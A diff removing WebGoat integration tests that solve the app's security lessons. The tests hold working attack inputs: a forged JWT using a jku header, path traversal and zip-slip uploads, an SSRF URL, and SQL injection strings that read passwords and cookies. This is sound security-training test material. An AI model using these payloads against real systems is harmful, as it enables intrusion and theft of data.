||||
.post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
|
||||
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
|
||||
keyPairGenerator.initialize(2048);
|
||||
KeyPair keyPair = keyPairGenerator.generateKeyPair();
|
||||
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", "jwks.json", jwks.toJson().getBytes())
|
||||
.post(webWolfUrlConfig.url("fileupload"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
Map<String, Object> header = new HashMap();
|
||||
header.put(Header.TYPE, Header.JWT_TYPE);
|
||||
header.put(
|
||||
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
|
||||
|
||||
String token =
|
||||
Jwts.builder()
|
||||
.setHeader(header)
|
||||
.setIssuer("WebGoat Token Builder")
|
||||
.setAudience("webgoat.org")
|
||||
.setIssuedAt(Calendar.getInstance().getTime())
|
||||
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "Tom")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
|
||||
.compact();
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void quiz() {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("question_0_solution", "Solution 1");
|
||||
params.put("question_1_solution", "Solution 2");
|
||||
|
||||
checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
|
||||
}
|
||||
}
|
@ -1,233 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import io.restassured.path.json.JsonPath;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.util.List;
|
||||
import java.util.Properties;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class LabelAndHintIntegrationTest extends IntegrationTest {
|
||||
|
||||
static final String ESCAPE_JSON_PATH_CHAR = "\'";
|
||||
|
||||
@Test
|
||||
public void testSingleLabel() {
|
||||
Assertions.assertTrue(true);
|
||||
JsonPath jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/labels.mvc"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
|
||||
Assertions.assertEquals(
|
||||
"Try again: but this time enter a value before hitting go.",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if lang parameter overrules Accept-Language parameter
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Gebruikersnaam",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "en")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Benutzername",
|
||||
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if invalid language returns english
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "nl")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
|
||||
// check if invalid language returns english
|
||||
jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", "xx_YY")
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/labels.mvc"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
Assertions.assertEquals(
|
||||
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testHints() {
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
List<String> allLessons =
|
||||
List.of(
|
||||
"HttpBasics",
|
||||
"HttpProxies",
|
||||
"CIA",
|
||||
"InsecureLogin",
|
||||
"Cryptography",
|
||||
"PathTraversal",
|
||||
"XXE",
|
||||
"JWT",
|
||||
"IDOR",
|
||||
"SSRF",
|
||||
"WebWolfIntroduction",
|
||||
"CrossSiteScripting",
|
||||
"CSRF",
|
||||
"HijackSession",
|
||||
"SqlInjection",
|
||||
"SqlInjectionMitigations",
|
||||
"SqlInjectionAdvanced",
|
||||
"Challenge1");
|
||||
for (String lesson : allLessons) {
|
||||
startLesson(lesson);
|
||||
List<String> hintKeys = getHints();
|
||||
for (String key : hintKeys) {
|
||||
String keyValue =
|
||||
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
// System.out.println("key: " + key + " ,value: " + keyValue);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
Assertions.assertNotEquals(key, keyValue);
|
||||
}
|
||||
}
|
||||
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
|
||||
// ""+jsonPath.getList("hint").get(0));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testLabels() {
|
||||
|
||||
JsonPath jsonPathLabels = getLabels("en");
|
||||
Properties propsDefault = getProperties("");
|
||||
for (String key : propsDefault.stringPropertyNames()) {
|
||||
String keyValue =
|
||||
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||
Assertions.assertNotNull(keyValue);
|
||||
}
|
||||
checkLang(propsDefault, "nl");
|
||||
checkLang(propsDefault, "de");
|
||||
checkLang(propsDefault, "fr");
|
||||
}
|
||||
|
||||
private Properties getProperties(String lang) {
|
||||
Properties prop = null;
|
||||
if (lang == null || lang.equals("")) {
|
||||
lang = "";
|
||||
} else {
|
||||
lang = "_" + lang;
|
||||
}
|
||||
try (InputStream input =
|
||||
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
|
||||
|
||||
prop = new Properties();
|
||||
// load a properties file
|
||||
prop.load(input);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return prop;
|
||||
}
|
||||
|
||||
private void checkLang(Properties propsDefault, String lang) {
|
||||
JsonPath jsonPath = getLabels(lang);
|
||||
Properties propsLang = getProperties(lang);
|
||||
|
||||
for (String key : propsLang.stringPropertyNames()) {
|
||||
if (!propsDefault.containsKey(key)) {
|
||||
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
|
||||
Assertions.fail();
|
||||
}
|
||||
if (!jsonPath
|
||||
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
|
||||
.equals(propsLang.get(key))) {
|
||||
System.out.println(
|
||||
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
|
||||
System.out.println(
|
||||
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
|
||||
System.out.println("expected: " + propsLang.getProperty(key));
|
||||
System.out.println();
|
||||
Assertions.fail();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private JsonPath getLabels(String lang) {
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.header("Accept-Language", lang)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
// .log().headers()
|
||||
.get(webGoatUrlConfig.url("service/labels.mvc"))
|
||||
.then()
|
||||
// .log().all()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
}
|
||||
|
||||
private List<String> getHints() {
|
||||
JsonPath jsonPath =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(ContentType.JSON)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url("service/hint.mvc"))
|
||||
.then()
|
||||
// .log().all()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath();
|
||||
return jsonPath.getList("hint");
|
||||
}
|
||||
}
|
@ -1,151 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.springframework.http.HttpHeaders;
|
||||
|
||||
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
@BeforeEach
|
||||
public void init() {
|
||||
startLesson("PasswordReset");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> passwordResetLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
|
||||
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
|
||||
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
|
||||
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
|
||||
}
|
||||
|
||||
public void assignment2() {
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
|
||||
Map.of("emailReset", this.getUser() + "@webgoat.org"),
|
||||
false);
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("PasswordReset/simple-mail"),
|
||||
Map.of(
|
||||
"email",
|
||||
this.getUser() + "@webgoat.org",
|
||||
"password",
|
||||
StringUtils.reverse(this.getUser())),
|
||||
true);
|
||||
}
|
||||
|
||||
public void assignment4() {
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("PasswordReset/questions"),
|
||||
Map.of("username", "tom", "securityQuestion", "purple"),
|
||||
true);
|
||||
}
|
||||
|
||||
public void assignment5() {
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
|
||||
Map.of("question", "What is your favorite animal?"),
|
||||
false);
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
|
||||
Map.of("question", "What is your favorite color?"),
|
||||
true);
|
||||
}
|
||||
|
||||
public void solveAssignment() {
|
||||
// WebGoat
|
||||
clickForgotEmailLink("tom@webgoat-cloud.org");
|
||||
|
||||
// WebWolf
|
||||
var link = getPasswordResetLinkFromLandingPage();
|
||||
// WebGoat
|
||||
changePassword(link);
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("PasswordReset/reset/login"),
|
||||
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
|
||||
true);
|
||||
}
|
||||
|
||||
public void sendEmailShouldBeAvailableInWebWolf() {
|
||||
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
||||
|
||||
var responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("mail"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() {
|
||||
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||
// lesson is marked complete
|
||||
checkResults("PasswordReset");
|
||||
}
|
||||
|
||||
private void changePassword(String link) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("resetLink", link, "password", "123456")
|
||||
.post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
|
||||
private String getPasswordResetLinkFromLandingPage() {
|
||||
var responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrlConfig.url("requests"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
||||
var link =
|
||||
responseBody.substring(
|
||||
startIndex + "/PasswordReset/reset/reset-password/".length(),
|
||||
responseBody.indexOf(",", startIndex) - 1);
|
||||
return link;
|
||||
}
|
||||
|
||||
private void clickForgotEmailLink(String user) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams("email", user)
|
||||
.post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
}
|
@ -1,156 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipOutputStream;
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.junit.jupiter.api.io.TempDir;
|
||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||
|
||||
class PathTraversalIT extends IntegrationTest {
|
||||
|
||||
@TempDir Path tempDir;
|
||||
|
||||
private File fileToUpload = null;
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
|
||||
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
|
||||
startLesson("PathTraversal");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testPathTraversal() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
|
||||
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
||||
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
||||
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
||||
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
|
||||
}
|
||||
|
||||
private void assignment1() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.param("fullName", "../John Doe")
|
||||
.post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment2() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
||||
.param("fullNameFix", "..././John Doe")
|
||||
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment3() throws IOException {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart(
|
||||
"uploadedFileRemoveUserInput",
|
||||
"../test.jpg",
|
||||
Files.readAllBytes(fileToUpload.toPath()))
|
||||
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
private void assignment4() throws IOException {
|
||||
var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
||||
RestAssured.given()
|
||||
.urlEncodingEnabled(false)
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(webGoatUrlConfig.url(uri))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
||||
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url("PathTraversal/random"),
|
||||
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
|
||||
true);
|
||||
}
|
||||
|
||||
private void assignment5() throws IOException {
|
||||
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
||||
webGoatHome =
|
||||
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
|
||||
|
||||
var webGoatDirectory = new File(webGoatHome);
|
||||
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
||||
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
|
||||
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
|
||||
zos.putNextEntry(e);
|
||||
zos.write("test".getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
|
||||
.post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
|
||||
.then()
|
||||
.log()
|
||||
.all()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
void shutdown() {
|
||||
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||
// lesson is marked complete
|
||||
checkResults("PathTraversal");
|
||||
}
|
||||
}
|
@ -1,61 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.response.Response;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.Callable;
|
||||
import java.util.concurrent.ExecutionException;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.IntStream;
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() throws InterruptedException {
|
||||
int NUMBER_OF_CALLS = 40;
|
||||
int NUMBER_OF_PARALLEL_THREADS = 5;
|
||||
startLesson("Challenge1");
|
||||
|
||||
Callable<Response> call =
|
||||
() -> {
|
||||
// System.out.println("thread "+Thread.currentThread().getName());
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(Map.of("flag", "test"))
|
||||
.post(webGoatUrlConfig.url("challenge/flag/1"));
|
||||
};
|
||||
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
|
||||
List<? extends Callable<Response>> flagCalls =
|
||||
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
|
||||
var responses = executorService.invokeAll(flagCalls);
|
||||
|
||||
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
|
||||
long countStatusCode500 =
|
||||
responses.stream()
|
||||
.filter(
|
||||
r -> {
|
||||
try {
|
||||
// System.err.println(r.get().getStatusCode());
|
||||
return r.get().getStatusCode() != 200;
|
||||
} catch (InterruptedException | ExecutionException e) {
|
||||
// System.err.println(e);
|
||||
throw new IllegalStateException(e);
|
||||
}
|
||||
})
|
||||
.count();
|
||||
System.err.println("counted status 500: " + countStatusCode500);
|
||||
Assertions.assertThat(countStatusCode500)
|
||||
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
|
||||
}
|
||||
}
|
@ -1,29 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SSRFIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SSRF");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("url", "images/jerry.png");
|
||||
|
||||
checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
|
||||
params.clear();
|
||||
params.put("url", "http://ifconfig.pro");
|
||||
|
||||
checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
|
||||
|
||||
checkResults("SSRF");
|
||||
}
|
||||
}
|
@ -1,23 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
class SessionManagementIT extends IntegrationTest {
|
||||
|
||||
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
|
||||
|
||||
@Test
|
||||
void hijackSessionTest() {
|
||||
startLesson("HijackSession");
|
||||
|
||||
checkAssignment(
|
||||
webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
|
||||
Map.of("username", "webgoat", "password", "webgoat"),
|
||||
false);
|
||||
}
|
||||
}
|
@ -1,62 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjectionAdvanced");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("username_reg", "tom' AND substring(password,1,1)='t");
|
||||
params.put("password_reg", "password");
|
||||
params.put("email_reg", "someone@microsoft.com");
|
||||
params.put("confirm_password", "password");
|
||||
checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/register"), params, false);
|
||||
|
||||
params.clear();
|
||||
params.put("username_login", "tom");
|
||||
params.put("password_login", "thisisasecretfortomonly");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/login"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"userid_6a",
|
||||
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
|
||||
+ " user_system_data --");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6b", "passW0rD");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 4: A statement has got values instead of a prepared statement");
|
||||
params.put("question_1_solution", "Solution 3: ?");
|
||||
params.put(
|
||||
"question_2_solution",
|
||||
"Solution 2: Prepared statements are compiled once by the database management system"
|
||||
+ " waiting for input and are pre-compiled this way.");
|
||||
params.put(
|
||||
"question_3_solution",
|
||||
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
|
||||
+ " resulting in a seperation of code and data.");
|
||||
params.put(
|
||||
"question_4_solution",
|
||||
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
|
||||
}
|
||||
}
|
@ -1,82 +0,0 @@
|
||||
/*
|
||||
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
|
||||
* SPDX-License-Identifier: GPL-2.0-or-later
|
||||
*/
|
||||
package org.owasp.webgoat.integration;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
||||
public static final String sql_3 =
|
||||
"update employees set department='Sales' where last_name='Barnett'";
|
||||
public static final String sql_4_drop = "alter table employees drop column phone";
|
||||
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
||||
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
||||
public static final String sql_9_account = " ' ";
|
||||
public static final String sql_9_operator = "or";
|
||||
public static final String sql_9_injection = "'1'='1";
|
||||
public static final String sql_10_login_count = "2";
|
||||
public static final String sql_10_userid = "1 or 1=1";
|
||||
|
||||
